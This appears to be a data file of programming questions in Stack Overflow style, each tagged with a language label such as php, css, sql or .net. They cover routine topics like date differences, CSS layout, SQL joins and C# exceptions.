get time past between two dates  i used the following code to find out the time past between two dates:   <pre><code>$date1 =  1900-00-00 ; $date2 =  2000-00-00 ;  $diff = abs(strtotime($date2) - strtotime($date1));  $years = floor($diff / (365*60*60*24)); $months = floor(($diff - $years * 365*60*60*24) / (30*60*60*24)); $days = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24)/ (60*60*24));  printf( %d years  %d months  %d daysn   $years  $months  $days); </code></pre>   but this prints <code>100 years  0 months  24 daysn</code>  instead of <code>100 years  0 months  0 daysn</code>    what is going on,php
how to use ng-show  ng-change  & ng-class to style validation hints/errors  i would like to present my user with 2 types of validation:   <ol> <li>while they are typing in an input field  i d like a hint to show up next to the input with a friendly  grey/black hint box if the current value is invalid</li> <li>then  when they blur out of the input  if the entered value is still invalid  i d like to change the style of the hint to a more traditional red prompt. when they come back to the input to fix it  i d like to return to the friendly hints in #1.</li> </ol>   i d like to reuse the hint boxes to cut down on clutter (meaning i don t want a <code>div</code> for the friendly version of a hint  and a <code>div</code> for the traditional version of the exact same validation failure)  and i d like to use angular s validation markup (<code>ng-maxlength</code>  <code>ng-pattern</code>  etc) to allow me to respond to the user s input in helpful ways  like saying  numbers only  if they are entering text in an  age  input  or  that value is too high  if they try to put  1000  as the age.    i have a working example (sortof)  but i feel there may perhaps be a better way to do this  (perhaps using directives ) but if nothing else  i don t see why my current solution is failing. i think i m just missing something in the jquery selector  but any help would be great.     specifically  when the user is typing in the input  the friendly hint doesn t have the correct style.  easy jquery fix  any thoughts on a more concise solution  thanks in advance.    <a href= http://plnkr.co/edit/s4jzmcln3qfxga8fmmsb p=preview  rel= nofollow >plunkr</a>    html:   <pre><code>    &lt;body ng-controller= myctrl &gt;     &lt;label class= control-label &gt;number of dependents:&lt;/label&gt;     &lt;form name= demographicsform &gt;       &lt;div ng-class= {true:  control-group error   false:  control-group }[demographicsform.dependents.$invalid] &gt;         &lt;input type= text                  class= mini-input control                  id= dependents                  name= dependents                  ng-model= demographicsholder.dependents                  ng-pattern= /^([1-9][0-9] |)$/                  ng-change= change( dependentsvalidation )                  maxlength= 2                  required /&gt;          &lt;!-- this error should fire when the input is the wrong type (text/number/etc) or format--&gt;         &lt;div class= validation-err help-inline error                name= dependentsvalidationpattern                ng-show= demographicsform.dependents.$error.pattern &gt;           a 2 digit number is required         &lt;/div&gt;         &lt;!-- this error should fire when the input is empty --&gt;         &lt;div class= validation-err help-inline error                name= dependentsvalidationrequired                ng-show= demographicsform.dependents.$error.required &gt;             required field         &lt;/div&gt;       &lt;/div&gt;     &lt;/form&gt;             &lt;/body&gt; </code></pre>   controller:   <pre><code>var app = angular.module( myapp   []); app.controller( myctrl   function($scope) {    $scope.demographicsholder = {name: bob  dependents:1};    $scope.change = function(validationdivs) {     $( validationdivs ).removeclass(  .validation-err  );     $( validationdivs ).addclass(  .validation-hint  );      $(  #  + elemid ).blur(function() {       $(  #  + elemid ).removeclass(  .validation-hint  );       $(  #  + elemid ).addclass(  .validation-err  );     });   }; }); </code></pre>   css:   <pre><code>  .validation-hint {       background-color: #0e0e0e;   }    .validation-err {     background-color: #ffe5e5;   } </code></pre>   the validation works as i want  but i want the hint to show up and be styled as desired while the user is actually typing in the box.,angularjs
pdf to image converter library for .net 4.0  am looking for a dll file  that will convert <strong>pdf files to images.</strong>  it should work with .net  framework  win 32 nit and also 64 bit machines upto windows 7. please tell me any suggestion,.net
why webhttprequest.responseuri not returning correct url in c#  here is my code for getting url from browser through  httpwebrequest  and  httpwebresponse .   <pre><code>{     string link= http://g.microsoftonline.com/0bxps00id-id/1250 ;      httpwebrequest request = (httpwebrequest)webrequest.create(link);      httpwebresponse response = (httpwebresponse)request.getresponse();      string responseurl = response.responseuri.tostring();      console.writeline(responseurl); } </code></pre>   when i executed the above code the url return is    <strong> https://mocp.microsoftonline.com/site/error.aspx err=notsupported </strong>    but when i manually open the link in browser it redirects to    <strong> https://mocp.microsoftonline.com/site/support.aspx </strong>    why the response.responseuri.tostring() returning wrong url     can you please provide solution for this,.net
can i call assignment operator of its base class without writing operator=()   i have a template class. the template parameter is set as a base class of the template class; please see the following code. can i call assignment operator=() of base class without writing operator=()  i hope you can get what i want to tell you reading and comparing the following lines    <pre><code>this-&gt;template t_base::operator=(orig);  // this is ok </code></pre>   and   <pre><code>this-&gt;template t_base = orig;  // error </code></pre>   . i would like to know the way of writing the second one. thank you very much.   <pre><code>class base { public:     base&amp; operator= (const base&amp; orig) {         return *this;     }     virtual ~base() {}; };  template &lt;typename t_base&gt; class templatebase : public t_base { public:     templatebase&amp; operator= (const templatebase&amp; orig) {         this-&gt;template t_base::operator=(orig);  // this is ok         this-&gt;template t_base = orig;  // error         return *this;     } }; </code></pre>,c++
is select distinct bad practice when you know a join will produce duplicates   on occasion when building a query i know i will have duplicates due to one of the joined tables. is it better practice to remove those duplicates using a more rigorous join statement and/or using select distinct in a subquery  rather than using a select distinct statement for the entire thing     for example:   <pre><code>select pl.station  pl.part_number  pd.description from sample_db.part_locator pl left join prod_sample_db.part_detail pd on pl.part_number = pd.part_number where pl.part_number =  4077968  and pl.station =  atl   4 rows returned. </code></pre>   <a href= https://i.stack.imgur.com/o29dg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/o29dg.png  alt= enter image description here ></a> <br>    obviously i could just use a select distinct to get unique values:   <pre><code>select distinct pl.station  pl.part_number  pd.description from sample_db.part_locator pl left join prod_sample_db.part_detail pd on pl.part_number = pd.part_number where pl.part_number =  4077968  and pl.station =  atl   1 row returned. </code></pre>   but is this better form (making the join more specific)    <pre><code>select pl.station  pl.part_number  pd.description from sample_db.part_locator pl left join prod_sample_db.part_detail pd on pl.part_number = pd.part_number and pl.bin_number = pd.bin_number     &lt;--- additional join criteria where pl.part_number =  4077968  and pl.station =  atl   1 row returned. </code></pre>   or this:   <pre><code>select pl.station  pl.part_number  pd.description from sample_db.part_locator pl left join  (     select distinct     &lt;--- add distinct statement in subquery     part_number      description     from     prod_sample_db.part_detail ) pd on pl.part_number = pd.part_number where pl.part_number =  4077968  and pl.station =  atl   1 row returned. </code></pre>   what is considered best practice,sql
how to export gridview to excel with password protected ( secured ) in asp.net <pre><code>protected void btn_xls_click(object sender  imageclickeventargs e) {     string attachment =  attachment; filename=monthlyattendancereport.xls ;     string sheetprotectpassword =  123 ;     response.clearcontent();     response.addheader( content-disposition   attachment);     response.contenttype =  application/ms-excel ;      stringwriter sw = new stringwriter();     htmltextwriter htw = new htmltextwriter(sw);     // create a form to contain the grid     htmlform frm = new htmlform();     rptorder.parent.controls.add(frm);     frm.attributes[ runat ] =  server ;     frm.controls.add(rptorder);     frm.rendercontrol(htw);       response.write(sw.tostring());     response.end();      //microsoft.office.interop.excel.application excelapp = new microsoft.office.interop.excel.applicationclass();    // microsoft.office.interop.excel.sheets objsheets;    // microsoft.office.interop.excel._worksheet objsheet;    // string sheetprotectpassword =  123 ;    // string workbookpath =  path where excel file is stored ;    // microsoft.office.interop.excel.workbook m_objbook = excelapp.workbooks.open(workbookpath  0  false  5          false  microsoft.office.interop.excel.xlplatform.xlwindows      true  false  0  true  false  false);    // objsheets = m_objbook.worksheets;    // objsheet = (excel._worksheet)objsheets.get_item(1);     // objsheet.protect(sheetprotectpassword  true  true  true  true  true  true  true  true  true  true  true  true  true  true  true);  } </code></pre>,.net
getting a nullpointerexception on a string comparison  i get a null value from dosetimestring when i output with:   <pre><code>   log.d( dosetimestring      + dosetimestring);  </code></pre>   but if i use an if condition on this line  it gives me a nullpointerexception:   <pre><code>if (dosetimestring.equals( null ) || dosetimestring == null     || dosetimestring.equals(  ))  { } </code></pre>,android
remove characters from substring_index  i’m unserialize the data below    <pre><code>a:7:{s:12: existingname ;s:0:  ;s:12: originalname ;s:50: 165074-mort-de-l-historien-jean-pierre-vernant.jpg ;s:3: alt ;s:0:  ;s:5: title ;s:0:  ;s:4: desc ;s:0:  ;s:6: delete ;b:0;s:6: remove ;b:0;} </code></pre>   using this quote   <pre><code>select substring_index(substring_index(value  ;  4)  :  -1) as bookimage    from jksid_flexicontent_fields_item_relations   where jksid_flexicontent_fields_item_relations.field_id = 17      and jksid_flexicontent_fields_item_relations.ite m_id = 13153 </code></pre>   the result i have is    <pre><code> 165074-mort-de-l-historien-jean-pierre-vernant.jpg  </code></pre>   how can i remove the <code> </code> symbols,mysql
different screen resolution in css  hello everyone i m new at css. my question is how can i make my design compatible with different screen resolution. by the way i have checked wc3 validator there is no error. i define a div tag which is for displaying my page with different resolution here is my tag:   <pre><code>.page {     width: 964px;     margin-left: auto;     margin-right: auto;     height:990px;     background-image:url(../images/shadow.png);     background-repeat:repeat-y; } </code></pre>   i mean when i look my website with 17  screen  my page is appeared different than 19  screen,css
using clear:both creates a gap under the item  first of all  i did read <a href= https://stackoverflow.com/questions/5684951/the-css-property-clear-leaves-a-huge-empty-space >this</a> question which lead me to <a href= https://stackoverflow.com/questions/7166716/unexplained-white-space-when-using-clearboth >this</a> question. the overall answer to those questions were to add <code>overflow: auto;</code> to the parent  but that actually created a small scroll bar in firefox.    my problem is i have an element inside my content that i m needing to float  but i also have a floating sidebar. so when i use the <code>clear: both;</code> on the element in my content  it creates a gap that goes to the end of the sidebar. i ll post my code  although it s very simple:   <pre><code>&lt;div class= post-recipe &gt;  &lt;div class= post-recipe-1 &gt;&lt;strong&gt;time:&lt;/strong&gt; &lt; php the_field( prep_time );  &gt;&lt;/div&gt;  &lt;div class= post-recipe-2 &gt;&lt;strong&gt;servings:&lt;/strong&gt; &lt; php the_field( makes );  &gt;&lt;/div&gt;  &lt;div class= post-recipe-3 &gt;&lt; php the_field( ingredients );  &gt;&lt;/div&gt;  &lt;div class= post-recipe-4 &gt;&lt; php the_field( directions );  &gt;&lt;/div&gt;  &lt;/div&gt; </code></pre>   my css  again  very basic   <pre><code>.post-recipe {  position: relative; width: 100%; height: auto; }  .post-recipe-1 { float: left; }  .post-recipe-2 { float: right; }  .post-recipe-3 { clear: both; } </code></pre>   i had already built the design  which functions correctly before i decided to backtrack and add this bit in. i m actually considering using a table to format this bit  but before i did that  i thought i d ask my question here. again  i did try <code>overflow: auto;</code> in the parent  but it created a scrollbar. adding that did remove the gap  but i can t have that scrollbar. i also tried adding <code>height: 0;</code> to my clearfix  but it did nothing. is there any other way to float the first two elements  clearing the float without it creating the gap     <a href= http://dn4l.illstudios.com/ p=77  rel= nofollow noreferrer >here</a> is a link to the page in question  if you look underneath the prep time and servings section  you ll see the gap.,css
arithmetic expressions in javascript  i have studied java and php for many years and recently just started developing in javascript as well. anyway a fairly noob question but can anyone work out why this application isn t showing displaying the interest when the button is clicked  i have been using w3schools website to learn from.    code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= iso-8859-1 &gt; &lt;title&gt;interest calculator&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  &lt;fieldset&gt; &lt;legend&gt;interest calculator&lt;/legend&gt; enter amount: &lt;input type= text  id= amount  &gt;&lt;br&gt;&lt;br&gt; interest rate: &lt;input type= text  id= interest &gt;&lt;br&gt;&lt;br&gt; enter years: &lt;input type= text  id= years &gt;&lt;br&gt;&lt;br&gt; &lt;button onclick= calculate() &gt;calculate&lt;/button&gt; &lt;/fieldset&gt;  &lt;p id= sum &gt;&lt;/p&gt;  &lt;script&gt;  function calculate(){  var amount = document.getelementbyid( amount ).value; var rate = document.getelementbyid( interest ).value; var years = document.getelementbyid( years ).value; var sum = amount(1+rate)^years;  var message =  your total return will be:   + sum;  document.getelementbyid( sum ).innerhtml = message;   }  &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   many thanks     adam,javascript
how to get a div containing and image element to have the same height as the image  i have this html code:   <pre><code>&lt;div&gt;     &lt;img src= http://placehold.it/319x300  alt=  &gt; &lt;div&gt; </code></pre>   and this css:   <pre><code>*{margin: 0; padding: 0;} div{     background: red;     width: 319px;     height: auto; } img{     width: 100%;     height: auto; } </code></pre>   however the background color of the <code>div</code> shows at the bottom. is there a way make the container be the same height as the image  on the site i am working on  i have erics reset styles and also there is no <code>padding</code> or <code>margin</code> that conflicts with this. this is the sample code <a href= http://jsfiddle.net/esmzw/1/  rel= nofollow >http://jsfiddle.net/esmzw/1/</a> thanks,css
how to choose a proper filter for an sql join  if i have table a and table b  each with one column:   <pre><code>a: col1 1 2 3 1  b: col1 1 1 4 </code></pre>   and i want all rows from a and the matching rows from b  only when the column has non null value in both tables  which one should i use    <pre><code>select * from a left join b on a.col1 = b.col1 and a.col1 is not null and b.col1 is not null;  select * from a left join b on a.col1 = b.col1 where a.col1 is not null or b.col1 is not null;  select * from a left join b on a.col1 = b.col1 and (a.col1 is not null or b.col1 is not null;) </code></pre>   my guess is that the first and the third are the same and will provide the desired output.,sql
how to structure many and/or complex sql queries   having quite a lot of sql queries  many of them ad-hoc-ones  a database has grown a bit messy.  i have two problems :    <ol> <li>hard to keep many different views/sproc s in good order when only using names to structure them</li> <li>subqueries (views that calls other views  in 2-4 levels) adds to the structure mess and are hard to maintain</li> </ol>   now i like to get a better structure in my database and/or in my c# code (could be java/python/ruby/whatever). how     should i use  schemas  in sql to separate views in different areas  like namespaces.    should i avoid having lot of tsql in the database altoghether and instead keep the querying to my c#  that would move the database logic closer to the rest of the system  and would be much easier to maintain and keep in code versioning  but at the same time i appreciate being close to the data  to keep performance good (with the help of sql profiler).    any other suggestion     update: the database and the c#-projects are a few years old and has grown  and will continue to grow over time (different areas of functionality) + new projects will be added. i need to clean it up in a good way  or change strategy.,sql
how do you text html tags on the webpage   i am making a program  and i want to text an html tag on the webpage. is there a way for me to display an html tag as text instead of it actually being an html tag,html
c++ string management convert raw string through dictionary matching  what this code does is that given a string  it will look through the array attached at the bottom so that if a string matches one of the array element  all new bits of a string is combined together to form a new string and then it gets returned! in other words  it converts a long and raw string by looking it up in the  dictionary  then return the interpreted new strnig.    i am trying to add some code at // comment so that if i encounter raw strings that don t match anything on record  as in the array  then it will call another function to deal with it. i am thinking about logging it so that i can updated the dictionary.    thanks!   <pre><code>string string_look_up(string data) { string loc_string =   ;  std::stringstream ss(data);  std::string line; while (std::getline(ss  line   0 )) {     if (line.empty())     {         continue;     }      cout &lt;&lt; line &lt;&lt; endl;     for (int i = 0; i &lt; 82; i++)     {         if (line == dictionary_array_strings_raw[i])         {             loc_string = loc_string + dictionary_array_strings_digits[i];         }      }      /// this is where the new code i want should be      cout &lt;&lt; loc_string &lt;&lt; endl;     cout &lt;&lt;  ######  &lt;&lt; endl; }  return loc_string; }  const string dictionary_array_strings_raw[] = { // x                                                  25643663                                                   // y                                                  2346442    2446442                                                   // z                                                  3676764                                                   // :                                                  4                                                   // -                                                  111  }  const string dictionary_array_strings_digits[] = { // x                                                     x                                                      // y                                                     y    y                                                      // z                                                     z                                                      // :                                                     :                                                      // -                                                     -                                                      // 1  } </code></pre>,c++
how to make a loop automatically tab everytime it runs through javascript  i m making a code in javascript right now its really beyond simple but i honestly know nothing about javascript i ve been learning for maybe 4 days. so basically i just need a while loop that presses tab every time it loops.,javascript
can we release an update of an ios app only to some users   we have an ios app available on the app store.    we want to release an update of the app but we want the release to happen in a phase wise manner i.e. the updated app should be available to only 10% of the users initially. after some time  say 1 week  it should get available to 20% more users and so on.    i was told this is possible on android. can it be done for ios apps as well  i tried to search (including this <a href= https://developer.apple.com/library/content/documentation/languagesutilities/conceptual/itunesconnect_guide/chapters/replacingyourappwithanewversion.html  rel= nofollow noreferrer >link</a> as well) but could not get concrete answers.    thanks in advance!,ios
mysql - how to refresh table after a large number of deletes  i just ran a simple delete query in the form:   <pre><code>delete*from [db.table] where id &lt; [value]; </code></pre>   this deleted about 80 million rows from the database (i had archived the data and no longer needed it).  this system constantly has data coming in at a rate of about 20 inserts per second and now there are a couple thousand entries in the database again.    if i run a query (limited to 1000 rows) that sorts descending  like this:   <pre><code>select*from [db.table] order by id desc; </code></pre>   i immediately get the results back  however if i sort ascending  like this:   <pre><code>select*from [db.table] order by id asc; </code></pre>   the query will timeout after 10 minutes.  it seems to me (and this is just a guess) that the query is going through all of the ids for my recently deleted rows and never gets to the newest data. is that possible     how do i get  sort asc  query to work   do i need to do some sort of refresh  thanks,mysql
settings.settings in c# for connectionstring  i would like to know is there any way to declare a variable in setting.setting file to hold my connection string. then i can read it from there for example:<br> properties.settings.default.connectionstring    thanks,.net
when closing a notepad process im getting exception why is that   this is the code:   <pre><code>private void processnotepad_exited(object sender  eventargs e)         {             this.invoke((methodinvoker)delegate             {                 view_log_file.enabled = true;             });         } </code></pre>   in form1 i have a menu i click on it and a new form is opened there i have a button click wich open a log files(txt file) using notepad.exe  if i first close the notepad then close the menu form it s all ok. but if i first close the menu form and after it trying to close the notepad im getting an exception:    the exception error is: invoke or begininvoke cannot be called on a control until the window handle has been created   <pre><code>system.invalidoperationexception was unhandled   hresult=-2146233079   message=invoke or begininvoke cannot be called on a control until the window handle has been created.   source=system.windows.forms   stacktrace:        at system.windows.forms.control.marshaledinvoke(control caller  delegate method  object[] args  boolean synchronous)        at system.windows.forms.control.invoke(delegate method  object[] args)        at system.windows.forms.control.invoke(delegate method)        at mws.settingsmenu.processnotepad_exited(object sender  eventargs e) in d:\c-sharp\download file\downloading-file-project-version-012\downloading file\settingsmenu.cs:line 148        at system.diagnostics.process.onexited()        at system.diagnostics.process.raiseonexited()        at system.diagnostics.process.completioncallback(object context  boolean wassignaled)        at system.threading._threadpoolwaitortimercallback.waitortimercallback_context(object state  boolean timedout)        at system.threading._threadpoolwaitortimercallback.waitortimercallback_context_f(object state)        at system.threading.executioncontext.runinternal(executioncontext executioncontext  contextcallback callback  object state  boolean preservesyncctx)        at system.threading.executioncontext.run(executioncontext executioncontext  contextcallback callback  object state  boolean preservesyncctx)        at system.threading._threadpoolwaitortimercallback.performwaitortimercallback(object state  boolean timedout)   innerexception:  </code></pre>   how should i take care in this situation   if the user first close the menu form and then the notepad it will throw this exception.,c#
nsstring to bytes with nsdata   i need to convert <code>nsstring</code> to bytes-to send over tcp.   <pre><code> nsstring *datas= @ ran ; // is in byte  114 97 110  </code></pre>   but if i use the <code>nsdata</code> to convert it(i need it as an nsdata at the end because i am adding multiple nsdata s) with :   <pre><code>nsdata *requestdata = [datas datausingencoding:nsutf8stringencoding]; </code></pre>   i get : <code>&lt;72616e&gt;</code> when logging the solution . and its not true. i am probably missing something here .    using the :<code>[tosend characteratindex:k]</code> to convert it  gives integer- i want to use nsdata for the conversion. how would i do that,objective-c
display div on hover over another div  i ve found the solution i am looking for on sof but the issue persists. i m obviously not doing something correctly.  perhaps another pair of eyes would be helpful.    basically  i want to show a hidden div while i hover over a separate div. while on hover over the separate div  it will change bg color.    thanks for the help.      here is a <a href= http://codepen.io/koriwade/pen/pzvxpq editors=1100  rel= nofollow >codepen</a> of what i have so far.    html   <pre><code>&lt;div class= container-fluid &gt;   &lt;div class= image &gt;     &lt;div class= one &gt;&lt;/div&gt;     &lt;div class= two &gt;&lt;/div&gt;     &lt;div class= three &gt;&lt;/div&gt;     &lt;div class= four &gt;&lt;/div&gt;     &lt;div class= five &gt;&lt;/div&gt;   &lt;/div&gt;   &lt;div class= one-text &gt;     &lt;p&gt;here is some text&lt;/p&gt;   &lt;/div&gt;   &lt;div class= two-text &gt;     &lt;p&gt;here is some text&lt;/p&gt;   &lt;/div&gt;   &lt;div class= three-text &gt;     &lt;p&gt;here is some text&lt;/p&gt;   &lt;/div&gt;   &lt;div class= four-text &gt;     &lt;p&gt;here is some text&lt;/p&gt;   &lt;/div&gt;   &lt;div class= five-text &gt;     &lt;p&gt;here is some text&lt;/p&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>body {   background-color: #c5d5cb;   color: #fff;   font-family: open sans;   font-weight: 300;   margin: 0 auto; }  .container-fluid {   background-color: #9fa8a3;   height: 600px;   padding: 30px; } .container-fluid .image {   background-color: #e3e0cf;   height: 100%;   width: 50%;   float: right;   padding: 30px;   display: flex;   justify-content: space-between; } .container-fluid .image .one {   background-color: #c5d5cb;   width: 100px;   height: 100px;   margin: 5px; } .container-fluid .image .one:hover {   background-color: #3b3a36; } .container-fluid .image .two {   background-color: #c5d5cb;   width: 100px;   height: 100px;   margin: 5px; } .container-fluid .image .two:hover {   background-color: #3b3a36; } .container-fluid .image .three {   background-color: #c5d5cb;   width: 100px;   height: 100px;   margin: 5px; } .container-fluid .image .three:hover {   background-color: #3b3a36; } .container-fluid .image .four {   background-color: #c5d5cb;   width: 100px;   height: 100px;   margin: 5px; } .container-fluid .image .four:hover {   background-color: #3b3a36; } .container-fluid .image .five {   background-color: #c5d5cb;   width: 100px;   height: 100px;   margin: 5px; } .container-fluid .image .five:hover {   background-color: #3b3a36; } .container-fluid .one-text {   width: 300px;   display: block;   float: right;   display: none; } .container-fluid .two-text {   width: 300px;   display: block;   float: right;   display: none; } .container-fluid .three-text {   width: 300px;   display: block;   float: right;   display: none; } .container-fluid .four-text {   width: 300px;   display: block;   float: right;   display: none; } .container-fluid .five-text {   width: 300px;   display: block;   float: right;   display: none; } .container-fluid .one:hover + .one-text {   display: block; } .container-fluid .two:hover + .two-text {   display: block; } .container-fluid .three:hover + .three-text {   display: block; } .container-fluid .four:hover + .four-text {   display: block; } .container-fluid .five:hover + .five-text {   display: block; } </code></pre>,css
downloadfiletaskasync downloads only 2 files at a time  i have implemented the code from the below thread  however i see that all the files starts to download but only 2 files downloads at a time    <a href= https://stackoverflow.com/questions/19189275/asynchronously-and-parallelly-downloading-files >asynchronously and parallelly downloading files</a>   <pre><code>private static async task&lt;tuple&lt;string  string  exception&gt;&gt; downloadfiletaskasync(string remotepath  string localpath = null  int timeout = 3000)         {             try             {                  localpath = localpath + remotepath.split( / )[5].tostring();                  using (var client = new webclient())                 {                     client.credentials = new networkcredential( user    password );                      using (var timer = new timer(timercallback  client  timeout  timeout.infinite))                     {                         await client.downloadfiletaskasync(remotepath  localpath);                     }                     debug.writeline(string.format( downloadfiletaskasync (downloaded): {0}   remotepath));                     return new tuple&lt;string  string  exception&gt;(remotepath  localpath  null);                 }             }             catch (exception ex)             {                 return new tuple&lt;string  string  exception&gt;(remotepath  null  ex);             }         }           private async void button_click(object sender  routedeventargs e)         {             ienumerable&lt;string&gt; enumerable = new string[] { https://somepath.com/file1.zip  };             var results = new list&lt;tuple&lt;string  string  exception&gt;&gt;();             await enumerable.foreachasync(s =&gt; downloadfiletaskasync(s   c:\\download\\   10000)  (url  t) =&gt; results.add(t));          }      }      public static class extensions     {         public static task foreachasync&lt;tsource  tresult&gt;(this ienumerable&lt;tsource&gt; source  func&lt;tsource  task&lt;tresult&gt;&gt; taskselector  action&lt;tsource  tresult&gt; resultprocessor)         {             var oneatatime = new semaphoreslim(5  10);             return task.whenall(                 from item in source                 select processasync(item  taskselector  resultprocessor  oneatatime));         }          private static async task processasync&lt;tsource  tresult&gt;(tsource item  func&lt;tsource  task&lt;tresult&gt;&gt; taskselector  action&lt;tsource  tresult&gt; resultprocessor  semaphoreslim oneatatime)         {             tresult result = await taskselector(item);             await oneatatime.waitasync();             try             {                 resultprocessor(item  result);             }             finally             {                 oneatatime.release();             }         }     } </code></pre>,.net
how does getdeclaredmethod work in java  i m not sure how  getdeclaredmethod  works in java  can some one explain how to get the value from the method  this is what i have..    i want to get this value (body_number)  which is in the aibody class.   <pre><code>public int getbody_number() {     return body_number; } </code></pre>   and in the same class i have this    <pre><code>method m = body_a.getuserdata().getclass().getdeclaredmethod( getbody_number   null); </code></pre>   how would i get the  body_number  value from m     ps getuserdata is a class of the object that i want to get the method answer out of  any help would be great.    adam,java
where can i lookup if i am running .net 3.5 or 3.5 sp1   i want to verify if a computer is running .net 3.5 or 3.5 sp1  where do i look this info up,.net
setting click events pagex and pagey always reverts to 0  not sure what i could be doing wrong  but i m trying to simulate a click event by giving it a x and y value.     here is my code   <pre><code>var clickevent = document.createevent( mouseevent )      dombody = document.getelementsbytagname( body )[0]      testx = targetjoint.depthx * dombody.clientwidth      testy = dombody.clientheight - (targetjoint.depthy * dombody.clientheight);  clickevent.pagex = testx; clickevent.pagey = testy;  if (counter &lt; 5000) {     counter++;     console.log( testx:   + testx);     console.log( testy:   + testy);     console.log( click event x:   + clickevent.pagex);     console.log( click event y:   + clickevent.pagey); }  //} clickevent.initevent(eventtype  true  true); node.dispatchevent(clickevent); </code></pre>   where i am getting <code>testx</code> and <code>testy</code> is irrelevant. it s coming from kinect data  and the console logs would look like this:   <pre><code>testx: 701.220 testy: 290.693 click event x: 0 click event y: 0  testx: 704.132 testy: 291.669 click event x: 0 click event y: 0  testx: 689.852 testy: 284.198 click event x: 0 click event y: 0 </code></pre>   so why would it be 0 even though i am clearly setting it with a proper value      <strong>edit</strong> : although this isn t really the same data i d get back  it would be impossible to recreate a fiddle with the kinect data coming in. made this rough example on <a href= https://jsfiddle.net/ox8uelxk/  rel= nofollow noreferrer >fiddle</a> to at least show that the click event pagex/y is 0 even when i m explicitly setting it (on the fiddle for whatever reason the <code>testy</code> is 0 too  but the <code>testx</code> isnt and the <code>clickevent.pagex</code> is 0),javascript
equivalent of system.windows.forms.cursor in web application(asp.net)  i have a code in windows application now i am trying to implement in web      application but it is showimg that it ths no cursor class      (system.windows.forms.cursor )so..wat is the equivalent in web application.   <pre><code> here is my code        private void btngo_click(system.object sender  system.eventargs e)     {         this.cursor = cursors.waitcursor;         application.doevents();           // load the images.         bitmap bm1 =  (bitmap) (image.fromfile(txtfile1.text));         bitmap bm2 =  (bitmap) (image.fromfile(txtfile2.text));          // make a difference image.         int wid = math.min(bm1.width  bm2.width);         int hgt = math.min(bm1.height  bm2.height);         bitmap bm3 = new bitmap(wid  hgt);          // create the difference image.         bool are_identical = true;         int r1;         int g1;         int b1;         int r2;         int g2;         int b2;         int r3;         int g3;         int b3;         color eq_color = color.white;         color ne_color = color.transparent;         for (int x = 0; x &lt;= wid - 1; x++)         {             for (int y = 0; y &lt;= hgt - 1; y++)             {                 if (bm1.getpixel(x  y).equals(bm2.getpixel(x  y)))                 {                     bm3.setpixel(x  y  eq_color);                   }                 else                 {                     bm1.setpixel(x  y  ne_color);                     are_identical = false;                 }             }         }          // display the result.         picresult.image = bm1;          bitmap logo = new bitmap(picresult.image);         logo.maketransparent(logo.getpixel(1  1));         picresult.image = (image)logo;          this.cursor = cursors.default;         if ((bm1.width != bm2.width) || (bm1.height != bm2.height))         {             are_identical = false;         }         if (are_identical)         {             messagebox.show( the images are identical );         }         else         {             messagebox.show( the images are different );         }          //bm1.dispose()         // bm2.dispose()     } </code></pre>,asp.net
run jquery before document is ready  i have the following script:   <pre><code>$(document).ready(function() {  $( *:lang(english) ).hide(); $( *:lang(french) ).hide(); }); </code></pre>   what i need is that every element with attribute lang= english  or lang= french  to be hidden initially.    but now when i load my website it glitches. since html starts being rendered before  $(document).ready becomes well  ready . so as a consequence all elements with the above specified attribute will be shown for a split second.    is there a way to put a handler on every <code>*:lang(english)</code> before document is ready so i don t see anymore glitches,jquery
how to avoid  sausage  type binding when having nested model  i have nested model and i am trying to avoid <code>vm.someobject.somechild.childofchild.name</code> type of situations. is there a way to set the model for outer <code>&lt;div&gt;</code> so that i can instead do childofchild.name or even name. in silverlight this was called datacontext. i put  vm  on the $scope  but in html i would like to avoid having to type the full path to attribute.     for example:   <pre><code> &lt;div&gt;     {{someobject.id}}     &lt;div&gt;         {{someobject.name.first}}         {{someobject.name.last}}     &lt;/div&gt;      &lt;div&gt;             {{someobject.somechild.name.first}}      &lt;/div&gt;  &lt;/div&gt; </code></pre>   i would like to do something like this   <pre><code>  &lt;div datacontext = someobject&gt;     {{id}}     &lt;div datacontext = name&gt;         {{first}}         {{last}}     &lt;/div&gt;      &lt;div datacontext = somechild.name&gt;             {{first}}      &lt;/div&gt;  &lt;/div&gt; </code></pre>,angularjs
what does this c code do   i need to know the output of the following c function   <pre><code>bool gc_search_memaddr (void* high_add  void* low_add  void* search_add) {     void ** gc_ptr_to_ptr;     void * gc_temp;     gc_temp = high_add;     while( gc_temp &gt; low_add )     {          gc_temp = gc_temp - 1;         gc_ptr_to_ptr = (void**)gc_temp;         if ((*gc_ptr_to_ptr) == search_add)             return true;     }     return false; } </code></pre>   in this all 3 of the input functions are pointers. i thought that this was just a simple increment based search function but the problem is that if you change all of them to int the output of the function changes sometimes. can anybody tell what exactly is happening here ...,c
how to fetch xml data from ascx page url   i have the url for ascx page and i want to fetch the xml data from that page using the page url...is it possible in .net,.net
why is this false alert(5>3>2) in javascript   in javascript <code>alert(5&gt;3&gt;2)</code> this return as false. i don t know what is the explanation. this was ask during my interview here in cebu  philippines. can you explain why      comments are highly appreciated.. thank you.,javascript
protecting or compare pdf document  i have a requirement  where we need to make sure that the document [pdf] we recieved electronically is same as the one we sent out.    ours is a document exchange company and we recieve and send lot of documents from and to out side  some times user have to send documents to us which we have sent them before  we want to make sure that the document is same and no changes were made by using some tools like photoshop or pdf editor.    one way i see is compare each byte  but not sure if we have any other tools..     our project built using .net 3.5  vb    any help will be great     thank you venu,.net
